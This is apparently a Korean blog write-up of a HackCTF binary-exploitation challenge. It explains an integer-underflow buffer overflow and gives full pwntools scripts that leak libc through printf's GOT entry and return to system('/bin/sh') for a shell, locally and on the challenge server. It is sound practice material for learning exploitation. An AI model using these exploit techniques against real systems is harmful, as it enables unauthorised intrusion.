check
- 32bit
- Partial RELRO >> .got.plt 영역을 덮어쓸 수 있다
- NX
Analyze
pseudo code
- atoi 함수를 이용해 문자 nptr값을 정수 v2로 바꾼다.
- [get_n 호출 1] get_n 함수의 매개변수 a2에 4를 인자로 전달한다. get_n 함수의 반복문을 총 5번 반복하며 v4에 5개의 값을 입력받을 수 있다.
- [get_n 호출 2] get_n 함수에 nptr주소값과 v2를 인자로 전달한다. get_n 함수의 반복문을 총 v2번 반복하며 v4에 v2개의 값을 입력받을 수 있다.
>> get_n의 두 번째 인자로 v2를 전달할 때 v2이 데이터형은 int 형이지만, 매개변수 a2의 타입은 unsigned int이다. 즉, 음수를 입력하게 되면 underflow가 발생하면서 (2^32 - 1) - v2가 전달되게 된다. 따라서 a1+v2에 값이 underflow된 만큼 입력할 수 있게되면서 nptr을 overflow 시킬 수 있다.
- nptr의 주소를 마지막에 출력한다.
- [반복문] v4에 하나의 문자값을 입력받는다. 이 때 v4가 0이 아니거나 10이거나 v5가 a2(두번째 매개변수)보다 크거나 같은 경우 반복문은 종료된다.
- 반복문 종료 후 result = a1+v5으로 result값을 리턴한다.
실행
- 입력할 데이터의 양으로 음수(-50)을 입력했더니 underflow가 발생하며 4294967246로 바뀐 것을 볼 수 있다.
Exploit
process / libc leak
from pwn import *
context.log_level = 'debug'
p = process("./pwning")
#p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
libc = elf.libc
#int80 = elf.symbols['do_thing']
system_off = libc.symbols['system']
binsh_off = libc.search("/bin/sh").next()
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
printf_off = libc.symbols['printf']
vuln = elf.symbols['vuln']
p.sendlineafter("read?", "-1")
pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)
p.sendline(pl)
p.recvuntil("You said: ")
p.recvuntil("\n")
printf = u32(p.recv(4))
log.info("printf address: "+ hex(printf))
libcbase = printf - printf_off
system = system_off + libcbase
binsh = binsh_off + libcbase
p.sendlineafter("read?", "-1")
pl = "A"*(0x2C + 4)
pl += p32(system)
pl += "BBBB"
pl += p32(binsh)
p.sendline(pl)
p.interactive()
일단 프로세스에서는 성공이다!
하지만 remote로 돌리면...?
이렇게 process에서와 remote에서 차이가 발생하는 이유는 문제 서버와 내 로컬에서 돌아가는 라이브러리가 다르기 때문이다. 따라서 이런 경우 libc-database를 구할 수 있는 사이트를 사용할 수 있다.
remote
작년에 풀었을 때는 ubuntu10_amd64가 있었는데 없어졌다..(?)
그래서 우선 작년 풀이 중 offset을 참고했다.
from pwn import *
#context.log_level = 'debug'
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)
elf = ELF("./pwning")
#libc = elf.libc
#int80 = elf.symbols['do_thing']
#system_off = libc.symbols['system']
system_off = 0x3a940
#binsh_off = libc.search("/bin/sh").next()
binsh_off = 0x15902b
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
#printf_off = libc.symbols['printf']
printf_off = 0x49020
vuln = elf.symbols['vuln']
p.sendlineafter("read?", "-1")
pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)
p.sendline(pl)
p.recvuntil("You said: ")
p.recvuntil("\n")
printf = u32(p.recv()[:4])
log.info("printf address: "+ hex(printf))
libcbase = printf - printf_off
system = system_off + libcbase
binsh = binsh_off + libcbase
p.sendline("-1")
pl = "A"*(0x2C + 4)
pl += p32(system)
pl += "BBBB"
pl += p32(binsh)
p.sendline(pl)
p.interactive()
'System > PWNABLE' 카테고리의 다른 글
[RopEmporium] split (0) | 2021.03.21 |
---|---|
[ROP Emporium] ret2win (0) | 2021.03.18 |
[HackCTF] Gift (0) | 2021.03.06 |
[HackCTF] Look at me (재) (0) | 2021.03.03 |
[HackCTF] RTL core (0) | 2021.02.14 |